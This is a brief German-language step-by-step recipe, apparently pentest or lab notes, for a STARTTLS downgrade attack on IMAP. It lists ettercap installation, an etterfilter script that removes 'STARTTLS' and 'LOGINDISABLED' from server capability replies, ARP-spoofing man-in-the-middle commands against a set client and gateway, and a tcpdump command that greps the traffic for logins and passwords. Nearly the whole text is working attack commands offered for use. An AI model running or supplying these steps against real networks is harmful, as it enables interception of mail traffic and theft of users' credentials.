STARTTLS DOWNGRADE STARTTLS Entfernen

Benötigte Paket

• apt-get install ettercap-graphical
• CLIENT=10.0.10.55
• GATEWAY=10.0.10.1
• INTERFACE=eth0

Filterdatei erstellen

• cat > imapstrip.ef <<'EOF'

if (ip.proto == TCP && tcp.src == 143) { if (search(DATA.data, "CAPABILITY")) { if (search(DATA.data, "STARTTLS")) { replace("STARTTLS", " "); } if (search(DATA.data, "LOGINDISABLED")) { replace("LOGINDISABLED", " "); } } } EOF

Filter kompilieren

• etterfilter imapstrip.ef -o imapstrip.efec

MITM starten (ARP-Proxy mit Filter)

• ettercap -Tq -i $INTERFACE -M arp "/$CLIENT//" "/$GATEWAY//" -F imapstrip.efec

Beweis (Klartext sichtbar)

• tcpdump -ni $INTERFACE -A -s0 host $CLIENT and port 143 | egrep -i 'capability|starttls|login|pass'